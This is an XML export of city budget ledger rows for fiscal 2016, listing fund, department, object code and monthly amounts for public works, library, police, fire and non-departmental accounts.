<row _id="18741"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4100</total></row>
<row _id="18742"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>150000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150000</total></row>
<row _id="18743"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13491</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13491</total></row>
<row _id="18744"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17478</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17478</total></row>
<row _id="18745"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1181844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1181844</total></row>
<row _id="18747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>850000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>850000</total></row>
<row _id="18748"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402490.0</object><object_description>WATER CAPITAL FACILITIES FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-431080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-431080</total></row>
<row _id="18749"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18750"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402230.0</object><object_description>MAUSOLEUM-MISC SALES/SVCS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-18385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-18385</total></row>
<row _id="18751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402430.0</object><object_description>SELF-INSURANCE WORKERS COMP</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-13440002</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13440002</total></row>
<row _id="18752"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-350000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-350000</total></row>
<row _id="18753"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401630.0</object><object_description>LIBRARY COPIERS AND PRINTERS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-22000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22000</total></row>
<row _id="18754"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401640.0</object><object_description>LIBRARY MEETING ROOM RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-53000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-53000</total></row>
<row _id="18755"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30000</total></row>
<row _id="18756"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>272</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>272</total></row>
<row _id="18757"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>181973</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>181973</total></row>
<row _id="18758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37448</total></row>
<row _id="18760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555120.0</object><object_description>LA SEWAGE DISPOSAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6956036</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6956036</total></row>
<row _id="18761"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80763</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80763</total></row>
<row _id="18762"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>264782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>264782</total></row>
<row _id="18763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>25137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25137</total></row>
<row _id="18764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>54546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>54546</total></row>
<row _id="18765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>105913</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105913</total></row>
<row _id="18766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>201409</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>201409</total></row>
<row _id="18767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>842.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1082788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1082788</total></row>
<row _id="18768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="18769"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555700.0</object><object_description>REGULATORY AGENCY FEES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>114220</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>114220</total></row>
<row _id="18770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>555300.0</object><object_description>LIBRARY BOND DEBT SERVICE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1382650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1382650</total></row>
<row _id="18771"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566940.0</object><object_description>PARKING AUTHORITY REV BOND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>544240.0</object><object_description>PROP C REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-25000</total></row>
<row _id="18773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-1567000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1567000</total></row>
<row _id="18774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578300.0</object><object_description>SUPPORTIVE HOUSING PROGRAM</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-80455</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-80455</total></row>
<row _id="18775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>601137</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>601137</total></row>
<row _id="18776"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3918009</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3918009</total></row>
<row _id="18777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522140.0</object><object_description>WATER PURCHASES</object_description><category_code>852.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4774500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4774500</total></row>
<row _id="18778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70400</total></row>
<row _id="18779"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>52421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52421</total></row>
<row _id="18780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18781"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60000</total></row>
<row _id="18782"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18927</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18927</total></row>
<row _id="18783"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2172</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2172</total></row>
<row _id="18784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>158400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>158400</total></row>
<row _id="18785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>157000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>157000</total></row>
<row _id="18786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544050.0</object><object_description>CEMENT / SAND / GRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3000</total></row>
<row _id="18787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>43208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>43208</total></row>
<row _id="18789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>105913</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105913</total></row>
<row _id="18790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>981</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>981</total></row>
